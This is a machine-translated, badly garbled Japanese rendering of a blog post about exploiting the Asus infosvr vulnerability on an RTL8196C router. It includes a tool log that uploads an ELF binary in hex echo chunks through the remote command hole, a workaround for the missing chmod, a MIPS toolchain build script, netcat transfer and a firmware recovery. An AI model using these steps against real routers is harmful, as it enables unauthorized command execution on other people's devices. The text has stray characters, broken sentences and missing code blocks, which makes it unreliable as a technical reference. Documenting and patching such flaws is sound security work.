77.8% 149.1 Bps part 163 (48 B; cmd: 235 ch) שש192.168.1.1: OK
78.2% 141.6 Bps part 164 (48 B; cmd: 235 ch) ש192.168.1.1: OK
78.7% 145.0 Bps part 165 (48 B; cmd: 235 ch) ש192.168.1.1: OK
79.2% 148.1 Bps part 166 (48 B; cmd: 235 ch) ש192.168.1.1: OK
79.7% 176.5 Bps part 167 (48 B; cmd: 235 ch) 192.168.1.1: OK
80.1% 121.5 Bps part 168 (48 B; cmd: 235 ch) שש192.168.1.1: OK
80.6% 145.5 Bps part 169 (48 B; cmd: 235 ch) שש192.168.1.1: OK
81.1% 144.6 Bps part 170 (48 B; cmd: 235 ch) ששLOST
81.1% 31.7 Bps part 170 (48 B; cmd: 235 ch) 192.168.1.1: OK
81.6% 417.4 Bps part 171 (48 B; cmd: 235 ch) שש192.168.1.1: OK
82.1% 144.6 Bps part 172 (48 B; cmd: 235 ch) שש192.168.1.1: OK
82.5% 182.5 Bps part 173 (48 B; cmd: 235 ch) 192.168.1.1: OK
83.0% 119.4 Bps part 174 (48 B; cmd: 235 ch) ש192.168.1.1: OK
83.5% 139.5 Bps part 175 (48 B; cmd: 235 ch) 192.168.1.1: OK
84.0% 145.9 Bps part 176 (48 B; cmd: 235 ch) 192.168.1.1: OK
84.4% 145.9 Bps part 177 (48 B; cmd: 235 ch) 192.168.1.1: OK
84.9% 142.0 Bps part 178 (48 B; cmd: 235 ch) 192.168.1.1: OK
85.4% 150.5 Bps part 179 (48 B; cmd: 235 ch) ש192.168.1.1: OK
85.9% 150.0 Bps part 180 (48 B; cmd: 235 ch) ש192.168.1.1: OK
86.3% 142.0 Bps part 181 (48 B; cmd: 235 ch) ש192.168.1.1: OK
86.8% 143.7 Bps part 182 (48 B; cmd: 235 ch) שש192.168.1.1: OK
87.3% 147.7 Bps part 183 (48 B; cmd: 235 ch) ש192.168.1.1: OK
87.8% 141.6 Bps part 184 (48 B; cmd: 235 ch) LOST
87.8% 32.0 Bps part 184 (48 B; cmd: 235 ch) 192.168.1.1: OK
88.2% 355.6 Bps part 185 (48 B; cmd: 235 ch) ש192.168.1.1: OK
88.7% 149.1 Bps part 186 (48 B; cmd: 235 ch) שש192.168.1.1: OK
89.2% 140.4 Bps part 187 (48 B; cmd: 235 ch) ש192.168.1.1: OK
89.7% 147.2 Bps part 188 (48 B; cmd: 235 ch) ש192.168.1.1: OK
90.1% 148.1 Bps part 189 (48 B; cmd: 235 ch) ש192.168.1.1: OK
90.6% 144.1 Bps part 190 (48 B; cmd: 235 ch) LOST
90.6% 32.0 Bps part 190 (48 B; cmd: 235 ch) 192.168.1.1: OK
91.1% 406.8 Bps part 191 (48 B; cmd: 235 ch) 192.168.1.1: OK
91.6% 142.9 Bps part 192 (48 B; cmd: 235 ch) 192.168.1.1: OK
92.0% 148.1 Bps part 193 (48 B; cmd: 235 ch) ש192.168.1.1: OK
92.5% 144.6 Bps part 194 (48 B; cmd: 235 ch) ש192.168.1.1: OK
93.0% 147.2 Bps part 195 (48 B; cmd: 235 ch) ש192.168.1.1: OK
93.5% 144.1 Bps part 196 (48 B; cmd: 235 ch) ש192.168.1.1: OK
94.0% 147.7 Bps part 197 (48 B; cmd: 235 ch) שש192.168.1.1: OK
94.4% 145.9 Bps part 198 (48 B; cmd: 235 ch) שש192.168.1.1: OK
94.9% 174.5 Bps part 199 (48 B; cmd: 235 ch) 192.168.1.1: OK
95.4% 123.4 Bps part 200 (48 B; cmd: 237 ch) 192.168.1.1: OK
Merging to /var/ldd parts 101..116 (16 pcs; cmd: 229 ch)… OK (5586 B)
Merging to /var/ldd parts 117..132 (16 pcs; cmd: 238 ch)… OK (6354 B)
Merging to /var/ldd parts 133..148 (16 pcs; cmd: 238 ch)… OK (7122 B)
Merging to /var/ldd parts 149..164 (16 pcs; cmd: 238 ch)… OK (7890 B)
Merging to /var/ldd parts 165..180 (16 pcs; cmd: 238 ch)… OK (8658 B)
Merging to /var/ldd parts 181..196 (16 pcs; cmd: 238 ch)… OK (9426 B)
Merging to /var/ldd parts 197..200 (4 pcs; cmd: 71 ch)… OK (9618 B)
Written 9.39KB/9.85KB 92.9 Bps (avg) Remaining: 00:05 (01:54/01:59)

95.9% 4.9 Bps part 201 (49 B; cmd: 237 ch) 192.168.1.1: OK
96.4% 146.7 Bps part 202 (49 B; cmd: 237 ch) 192.168.1.1: OK
96.8% 155.6 Bps part 203 (49 B; cmd: 237 ch) שש192.168.1.1: OK
97.3% 142.9 Bps part 204 (49 B; cmd: 237 ch) 192.168.1.1: OK
97.8% 153.1 Bps part 205 (49 B; cmd: 237 ch) LOST
97.8% 32.7 Bps part 205 (49 B; cmd: 237 ch) 192.168.1.1: OK
98.3% 388.9 Bps part 206 (49 B; cmd: 237 ch) ש192.168.1.1: OK
98.8% 148.5 Bps part 207 (49 B; cmd: 237 ch) 192.168.1.1: OK
99.3% 144.5 Bps part 208 (49 B; cmd: 237 ch) 192.168.1.1: OK
99.8% 151.2 Bps part 209 (49 B; cmd: 237 ch) ש192.168.1.1: OK
100.0% 75.3 Bps part 210 (25 B; cmd: 143 ch) שש192.168.1.1: OK
Merging to /var/ldd parts 201..210 (10 pcs; cmd: 145 ch)… OK (10084 B)
Written 9.85KB/9.85KB 78.7 Bps (avg) Remaining: 00:00 (02:00/02:00)

Finished. File size on target is 9.85KB. Working time: 02:00 (120 sec)

次のネタバレ注意

/ dev / console(/ dev / ttyS0)-さまざまな段階で出力がリダイレクトされるファイルの名前に注意してください
system cmd: 237 echo -ne "\x7f\x45\x4c\x46\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x08\x00\x00\x00\x01\x00\x40\x08\x50\x00\x00\x00\x34\x00\x00\x23\x54\x00\x00\x10\x07\x00\x34\x00\x20\x00\x08\x00\x28\x00">/var/ldd_0-1;cat /var/ldd_0-1
rund: echo -ne "\x7f\x45\x4c\x46\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x08\x00\x00\x00\x01\x00\x40\x08\x50\x00\x00\x00\x34\x00\x00\x23\x54\x00\x00\x10\x07\x00\x34\x00\x20\x00\x08\x00\x28\x00">/var/ldd_0-1;cat /var/ldd_0-1 > /tmp/syscmd.out
49 ELF
system cmd: 237 echo -ne "\x1a\x00\x19\x00\x00\x00\x06\x00\x00\x00\x34\x00\x40\x00\x34\x00\x40\x00\x34\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x05\x00\x00\x00\x04\x00\x00\x00\x03\x00\x00\x01\x34\x00\x40\x01\x34\x00\x40">/var/ldd_0-2;cat /var/ldd_0-2
rund: echo -ne "\x1a\x00\x19\x00\x00\x00\x06\x00\x00\x00\x34\x00\x40\x00\x34\x00\x40\x00\x34\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x05\x00\x00\x00\x04\x00\x00\x00\x03\x00\x00\x01\x34\x00\x40\x01\x34\x00\x40">/var/ldd_0-2;cat /var/ldd_0-2 > /tmp/syscmd.out
49

///*** - — ***///

system cmd: 237 echo -ne "\x00\x00\x00\x03\x20\xf8\x09\x24\x44\x00\x01\x8f\xbc\x00\x18\x00\x40\x20\x21\x8f\x99\x80\xac\x02\x20\x28\x21\x03\x20\xf8\x09\xae\x02\x00\x00\x8f\xbc\x00\x18\x8e\x04\x00\x00\x8f\x99\x80\x68\x00">/var/ldd_0-100;cat /var/ldd_0-100
rund: echo -ne "\x00\x00\x00\x03\x20\xf8\x09\x24\x44\x00\x01\x8f\xbc\x00\x18\x00\x40\x20\x21\x8f\x99\x80\xac\x02\x20\x28\x21\x03\x20\xf8\x09\xae\x02\x00\x00\x8f\xbc\x00\x18\x8e\x04\x00\x00\x8f\x99\x80\x68\x00">/var/ldd_0-100;cat /var/ldd_0-100 > /tmp/syscmd.out
48
///--- ( ) ---///
system cmd: 35 echo -n "">>/var/ldd;wc -c</var/ldd
rund: echo -n "">>/var/ldd;wc -c</var/ldd > /tmp/syscmd.out
2 0

///--- ---///
system cmd: 228 cat /var/ldd_0-1 /var/ldd_0-2 /var/ldd_0-3 /var/ldd_0-4 /var/ldd_0-5 /var/ldd_0-6 /var/ldd_0-7 /var/ldd_0-8 /var/ldd_0-9 /var/ldd_0-10 /var/ldd_0-11 /var/ldd_0-12 /var/ldd_0-13 /var/ldd_0-14 /var/ldd_0-15 /var/ldd_0-16>/var/ldd;
rund: cat /var/ldd_0-1 /var/ldd_0-2 /var/ldd_0-3 /var/ldd_0-4 /var/ldd_0-5 /var/ldd_0-6 /var/ldd_0-7 /var/ldd_0-8 /var/ldd_0-9 /var/ldd_0-10 /var/ldd_0-11 /var/ldd_0-12 /var/ldd_0-13 /var/ldd_0-14 /var/ldd_0-15 /var/ldd_0-16>/var/ldd; > /tmp/syscmd.out
0 0

///--- ( ) ---///
system cmd: 14 wc -c</var/ldd
rund: wc -c</var/ldd > /tmp/syscmd.out
4,777
$D
system cmd: 238 cat /var/ldd_0-17 /var/ldd_0-18 /var/ldd_0-19 /var/ldd_0-20 /var/ldd_0-21 /var/ldd_0-22 /var/ldd_0-23 /var/ldd_0-24 /var/ldd_0-25 /var/ldd_0-26 /var/ldd_0-27 /var/ldd_0-28 /var/ldd_0-29 /var/ldd_0-30 /var/ldd_0-31 /var/ldd_0-32>>/var/ldd;
rund: cat /var/ldd_0-17 /var/ldd_0-18 /var/ldd_0-19 /var/ldd_0-20 /var/ldd_0-21 /var/ldd_0-22 /var/ldd_0-23 /var/ldd_0-24 /var/ldd_0-25 /var/ldd_0-26 /var/ldd_0-27 /var/ldd_0-28 /var/ldd_0-29 /var/ldd_0-30 /var/ldd_0-31 /var/ldd_0-32>>/var/ldd; > /tmp/syscmd.out
0 777
$D
system cmd: 14 wc -c</var/ldd
rund: wc -c</var/ldd > /tmp/syscmd.out
5 1545
$D

///*** — ***///

system cmd: 71 cat /var/ldd_0-97 /var/ldd_0-98 /var/ldd_0-99 /var/ldd_0-100>>/var/ldd;
rund: cat /var/ldd_0-97 /var/ldd_0-98 /var/ldd_0-99 /var/ldd_0-100>>/var/ldd; > /tmp/syscmd.out
0 4617
$D
system cmd: 14 wc -c</var/ldd
rund: wc -c</var/ldd > /tmp/syscmd.out
5 4809
$D
system cmd: 14 wc -c</var/ldd
rund: wc -c</var/ldd > /tmp/syscmd.out
5 4809
$D

///--- ---///
system cmd: 37 rm /var/ldd_0-*;ls /var/ldd_0-*|wc -l
ls: /var/ldd_0-*: No such file or directory
rund: rm /var/ldd_0-*;ls /var/ldd_0-*|wc -l > /tmp/syscmd.out
2 0
09
$D

///--- ( chunk-) ---///

system cmd: 237 echo -ne "\x00\x00\x00\x03\x20\xf8\x09\x00\x00\x00\x00\x8f\xbc\x00\x18\x3c\x03\x00\x41\xae\x02\x00\x08\x24\x02\x00\x01\xae\x02\x00\x04\xae\x00\x00\x0c\xac\x62\x21\x88\x12\x00\x00\x42\x00\x00\x00\x00\x8f\xa4">/var/ldd_1-1;cat /var/ldd_1-1
rund: echo -ne "\x00\x00\x00\x03\x20\xf8\x09\x00\x00\x00\x00\x8f\xbc\x00\x18\x3c\x03\x00\x41\xae\x02\x00\x08\x24\x02\x00\x01\xae\x02\x00\x04\xae\x00\x00\x0c\xac\x62\x21\x88\x12\x00\x00\x42\x00\x00\x00\x00\x8f\xa4">/var/ldd_1-1;cat /var/ldd_1-1 > /tmp/syscmd.out
49
system cmd: 237 echo -ne "\x01\x58\x00\x00\x00\x00\x94\x82\x00\x10\x00\x00\x00\x00\x24\x42\xff\xfe\x30\x42\xff\xff\x2c\x42\x00\x02\x10\x40\x00\x39\x24\x03\xff\x00\x8c\x82\x00\x04\x00\x00\x00\x00\x00\x62\x18\x24\x3c\x02\x01">/var/ldd_1-2;cat /var/ldd_1-2
rund: echo -ne "\x01\x58\x00\x00\x00\x00\x94\x82\x00\x10\x00\x00\x00\x00\x24\x42\xff\xfe\x30\x42\xff\xff\x2c\x42\x00\x02\x10\x40\x00\x39\x24\x03\xff\x00\x8c\x82\x00\x04\x00\x00\x00\x00\x00\x62\x18\x24\x3c\x02\x01">/var/ldd_1-2;cat /var/ldd_1-2 > /tmp/syscmd.out
49 X

///*** -- — ***///

system cmd: 237 echo -ne "\x00\x01\x00\x00\x00\x00\x00\x41\x21\xa0\x00\x00\x22\x84\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00">/var/ldd_2-9;cat /var/ldd_2-9
rund: echo -ne "\x00\x01\x00\x00\x00\x00\x00\x41\x21\xa0\x00\x00\x22\x84\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00">/var/ldd_2-9;cat /var/ldd_2-9 > /tmp/syscmd.out
49
system cmd: 143 echo -ne "\x00\x00\x00\x22\x84\x00\x00\x00\xce\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00">/var/ldd_2-10;cat /var/ldd_2-10
rund: echo -ne "\x00\x00\x00\x22\x84\x00\x00\x00\xce\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00">/var/ldd_2-10;cat /var/ldd_2-10 > /tmp/syscmd.out
25
system cmd: 35 echo -n "">>/var/ldd;wc -c</var/ldd
rund: echo -n "">>/var/ldd;wc -c</var/ldd > /tmp/syscmd.out
5 9618

system cmd: 145 cat /var/ldd_2-1 /var/ldd_2-2 /var/ldd_2-3 /var/ldd_2-4 /var/ldd_2-5 /var/ldd_2-6 /var/ldd_2-7 /var/ldd_2-8 /var/ldd_2-9 /var/ldd_2-10>>/var/ldd;
rund: cat /var/ldd_2-1 /var/ldd_2-2 /var/ldd_2-3 /var/ldd_2-4 /var/ldd_2-5 /var/ldd_2-6 /var/ldd_2-7 /var/ldd_2-8 /var/ldd_2-9 /var/ldd_2-10>>/var/ldd; > /tmp/syscmd.out
0 9618

system cmd: 14 wc -c</var/ldd
rund: wc -c</var/ldd > /tmp/syscmd.out
6 10084

system cmd: 37 rm /var/ldd_2-*;ls /var/ldd_2-*|wc -l
ls: /var/ldd_2-*: No such file or directory
rund: rm /var/ldd_2-*;ls /var/ldd_2-*|wc -l > /tmp/syscmd.out
2 0
084

system cmd: 35 echo -n "">>/var/ldd;wc -c</var/ldd
rund: echo -n "">>/var/ldd;wc -c</var/ldd > /tmp/syscmd.out
6 10084


それでは、次は何ですか?

ご存知のように、Linuxで実行するファイルを実行するには、そのファイルに適切な権限を設定する必要があります。問題は、ルーターにchmodがなかったことです(大幅にトリミングされたbusyboxを覚えていますか?)。しかし、何も。 これは回避できます:



利益!実行可能ファイルをルーターにアップロードしたところ、動作します!ちょっと...そして、私たちはそれをどこで手に入れましたか、このファイル?

ルーターの実行可能ファイルを取得する方法


まず、ルーターのCPUアーキテクチャを調べる必要があります。簡単な方法では、必要なすべての情報が提供されません。

#cat / proc / cpuinfo システムタイプ:RTL8196C
プロセッサー:0
cpuモデル:52481
BogoMIPS:389.12
tlb_entries:32
mips16実装:はい

もちろん、データシートを検索して、その中のこの情報を見つけることができます...そして、それが利用できない場合は?そして、異なる変更がある場合は?最も確実な方法は、すでに機能しているものを見ることですfileおよびreadelf -h

コマンドを使用して、何らかの方法でルーターから実行可能ファイルを取得して分析する必要があります私はこのようにしました:



結果のファイルは、ルーター上にあるものよりも少し多く出てきました(一部のゴミが混入しています)。しかし、何もありません。ファイルの先頭、つまりELFヘッダーにのみ関心があります。

結果のファイルをLinuxマシンに転送します。タイトルが見えるようになりました:



すべてが明確になりました:MIPS-1、ビッグエンディアン。

ルーターのツールチェーンを収集します

これが私のスクリプトメモです(好みに合わせてコンフィギュレーターを選択してください)。
 #!/bin/sh wget http://buildroot.uclibc.org/downloads/buildroot-2014.11.tar.gz tar zxf buildroot-2014.11.tar.gz cd buildroot-2014.11 sudo apt-get -y install g++ # curses-based configurators sudo apt-get -y install libncurses5-dev make menuconfig # original curses-based configurator #make nconfig # new curses-based configurator # Qt-based configurator #sudo apt-get -y install libqt4-dev #make xconfig # Qt-based configurator # GTK-based configurator #sudo apt-get -y install libgtk2.0-dev libglade2-dev #make gconfig # GTK-based configurator make 

make * configのステップで、ツールチェーン構成します。

少なくとも、ターゲットアーキテクチャを構成する必要があります。ターゲットオプション ---> ターゲットアーキテクチャおよびターゲットアーキテクチャバリアント。ちょっとした落とし穴があります。ターゲットアーキテクチャバリアント Mips Iにはすぐに見つかりません。そこに表示するには、[ ビルドオプション] ---> [ 非推奨または廃止されたオプションとパッケージを表示]オプションを有効にする必要があります

他には何も設定できません。そして、あなたは多くのものを設定することができます:C ++と他の言語のサポートを有効にし、静的レイアウト(私はこれから何も得ていません)、ターゲットアーキテクチャ用にコンパイルされたアプリケーションを選択し、アプレットbusybox , ..

Exit , … make . , , ( VM Ware . : ttt=`date`; make; echo $ttt; date ). , -jN . :
Buildrootmake -jN使用しないでください。現在、トップレベルの並列makeはサポートされていません。代わりに、BR2_JLEVELオプションを使用して、make -jNを使用して個々のパッケージのコンパイルを実行するようにBuildrootに指示します。
つまり[ ビルドオプション] ---> [ 同時に実行するジョブの数]パラメーターを構成する必要があります

ツールチェーン準備完了

最後に、xx、ツールチェーンは完全にエラーなしで収集されました。使用できます。道の上にあるルータのためのGCC ./buildroot-2014.11/output/host/usr/bin/mips-linux-gcc(へのシンボリックリンクMIPS-buildroot-のlinux-uClibcを-GCC)。
最初に、プリミティブプログラムを作成し、コンパイルし、ルーターにアップロードし、実行権限(前述のトリック)を設定して実行し



ますこれで、ルーターにあるリソースとライブラリの機能が限られているため、独自のプログラムをルーターに作成できます。

しかし、ツールチェーンとともに、ターゲットプラットフォーム上のいくつかのバイナリも一緒になりました!ここにあります:./buildroot-2014.11 / output / target/ bin | sbin | usr / bin | usr / sbin。私はそれらの多くを試しました(menuconfigで多くの追加アプリケーションのアセンブリを構成しました)。私は労働者であることが判明したものを保存し、別々に有用であると思われました(おそらくいつか必要になるでしょう)。

すべてが労働者ではなかった。ルーターにダウンロードした後、多くの人がさまざまな理由で動作を拒否しました。

また、バスエラー予期しない単語などのエラーが発生した場合、ターゲットアーキテクチャの選択を間違えた(またはファイルが破損している)可能性が高いです。

快適性を高める

infosvrの「穴」を通るファイル転送速度は、控えめに言っても、多くのことが望まれていることに気づいたでしょうTargetSideAgentを記述することでこの問題を解決したかったのですが、少し重くなり、完全なTCP接続が発生しました。すでに少しのコードが書かれていますが、突然、素晴らしいnetcatユーティリティが発見されましたこのユーティリティは、ターゲットプラットフォーム用にbuildrootによって構築されたアプリケーション間で機能することが判明しました長い間心配する必要はありません。netcatはほぼ瞬時にファイルをルーターに(そしてルーターからも)転送します!高速転送の場合、次のアプローチを使用できます。

ところで、何らかの理由でAsusBinWriteを使用したファイル転送が中断された場合、RESUMEオプションを使用して再開できます

中断された転送を再開する



速度はまともで、「重い」ファイルでも簡単にダウンロードできます。しかし、夢中にならないでください。/ varおよび/ tmp(実際には/ var / tmp)がルーターのRAMであることを忘れないでください彼女を完全に殺すと、ルーターは応答しなくなります(または完全にフリーズします)。この場合、手動で再起動する必要があります。使用して空きメモリを監視無料

ちなみに、Windows 用のnetcat探していたときに、「21世紀のnetcat」に出会いました通常のnetcatよりも機能がはるかに豊富です。私たちの場合、-send-onlyオプションは非常に有用であることが判明しました(転送直後に接続を切断します)。

他に何ができますか?


この「農場」を見てください。
# mount
rootfs on / type rootfs (rw)
/dev/root on / type squashfs (ro,relatime)
proc on /proc type proc (rw,relatime)
ramfs on /var type ramfs (rw,relatime)
#
# cat /proc/partitions
major minor #blocks name

31 0 64 mtdblock0
31 1 3211 mtdblock1
31 2 4032 mtdblock2
#
# cat /proc/mtd
dev: size erasesize name
mtd0: 00010000 00001000 «boot + cfg»
mtd1: 00322fee 00001000 «root fs»
mtd2: 003f0000 00001000 «linux + root fs»
#
# ls -lF /dev
crw-rw-rw- 1 root root 4, 64 Sep 18 20:22 console
lrwxrwxrwx 1 root root 8 Sep 18 12:05 log -> /tmp/log=
drwxrwxrwx 2 root root 3 Sep 18 12:03 misc/
brw-rw-rw- 1 root root 31, 0 Sep 18 12:05 mtdblock0
brw-rw-rw- 1 root root 31, 1 Sep 18 12:05 mtdblock1
brw-rw-rw- 1 root root 31, 2 Sep 18 12:05 mtdblock2
brw-rw-rw- 1 root root 31, 3 Sep 18 12:05 mtdblock3
crw-rw-rw- 1 root root 1, 3 Sep 18 12:05 null
crw-rw-rw- 1 root root 108, 0 Sep 18 12:05 ppp
crw-rw-rw- 1 root 5 5, 2 Sep 18 12:05 ptmx
drwxrwxrwx 2 root root 3 Sep 18 12:03 pts/
crw-rw-rw- 1 root root 2, 0 Sep 18 20:23 ptyp0
crw-rw-rw- 1 root root 2, 1 Sep 18 12:05 ptyp1
crw-rw-rw- 1 root root 4, 64 Sep 18 12:05 ttyS0
crw-rw-rw- 1 root root 4, 65 Sep 18 12:05 ttyS1
crw-rw-rw- 1 root root 3, 0 Sep 18 20:23 ttyp0
crw-rw-rw- 1 root root 3, 1 Sep 18 12:05 ttyp1
crw-rw-rw- 1 root root 1, 9 Sep 18 12:05 urandom
#


どういうわけか、/ dev / mtdblock2に何かを誤ってリダイレクトしました記録されます。ルーターは機能しました。その後、リブートすることにしたとき、起動しませんでした。UARTで発行されているものを確認した後、ファームウェアが破損していることに気付きました。ルーターは回復モードで起動しました(Asusファームウェア復元ユーティリティが機能するのはこのモードです)。

回復モード
========== SPI =============
SDRAM CLOCK:156MHZ
— Force into Single IO Mode —
|No chipID Sft chipSize blkSize secSize pageSize sdCk opCk chipName |
| 0 ef4016h 0h 400000h 10000h 1000h 100h 104 39 W25Q32|


---RealTek(RTL8196C)at 2012.04.09-16:54+0800 version v1.1f [16bit](390MHz)
no sys signature at 00010000!
Set 8196C PHY Patch OK

---Ethernet init Okay!
<RealTek>
<RealTek>ps
Unknown command!
<RealTek>
<RealTek>ls
Unknown command!
<RealTek>
<RealTek>help
— COMMAND MODE HELP — HELP (?): Print this help message
D <Address> <Len>
DB <Address> <Len>
DW <Address> <Len>
EW <Address> <Value1> <Value2>…
EB <Address> <Value1> <Value2>…
CMP: CMP <dst><src><length>
IPCONFIG:<TargetAddress>
AUTOBURN: 0/1
LOADADDR: <Load Address>
J: Jump to <TargetAddress>
FLW <dst_ROM_offset><src_RAM_addr><length_Byte> <SPI cnt#>: Write offset-data to SPI from RAM
<RealTek>


考え直すことなく、同じファームウェア復元を起動し、ファームウェアを復元しました。
Asusファームウェア復元ユーティリティの操作を表示する
<RealTek>D
File Start: 80500000,length=0

**TFTP GET File ASUSSPACELINK1,Size 0 Byte

**filename: 31 13 FFFFFFFE FFFFFFA9 Byte
run ASUSSPACELINK

**TFTP Client Upload, File Name: ASUSSPACELINK

**TFTP Client Upload File Size = 278ABC Bytes at 80500000

Success!
<RealTek>
Linux kernel (root-fs) upgrade.
checksum Ok!
burn Addr =0x10000! srcAddr=0x80500000 len =0xcd012

####head_offset: 0(0x0), flash_burnAddr: 0x10000, is_firmware: 1

####Start to burn…
...
Flash Write Successed!
<RealTek>
Root filesystem upgrade.
checksum Ok!
burn Addr =0x100000! srcAddr=0x805cd022 len =0x1aba9a

####head_offset: 839698(0xcd012), flash_burnAddr: 0xdd012, is_firmware: 1

####Start to burn…
...
Flash Write Successed!
<RealTek>
reboot.......


実行中のルーターのファームウェアが破損しているという事実は、この脆弱性を使用して変更できることを示唆しています。そうすると、ルーターの変更は永続的になり、再起動するまでではなく、今までのようになります。
しかし、私はこれを勉強する時間も欲望もありません。



AsusRouterToolsのソースWindowsのバイナリ、GitHub リポジトリにあります。

Z.Y. infosvrを使用して計算したので、意図した目的にも使用しませんか?AsusDiscoverは、修正された脆弱性を持つファームウェアをインストールした後に機能し続ける唯一のものです。

デバイス検出のコンソールバージョン


PSこれは私の最初の出版物であるため、記事とプログラムコードの両方に関するアドバイスやコメントを歓迎します。

PPS少しinります:Habrahabrは、記事執筆インターフェースに偶発的な公開に対する保護を追加する必要があります。どういうわけか、Enterキーを押しました-[公開]ボタンが機能しました。何らかの安全チェックボックスを追加するか、発行前に再度確認するか、発行の送信をすぐに取り消す機会を与える必要があります。はい、そしてそのような大きなもの...あなたは「プレビュー」の代わりにそれを逃して突くことができます。なぜこれが考え出されないのですか?

UPD:リーダー(@ a553)とともに、一部のルーターから応答を受信したときにクラッシュするバグを修正しました。このコメントの詳細

Source: https://habr.com/ru/post/J253013/


All Articles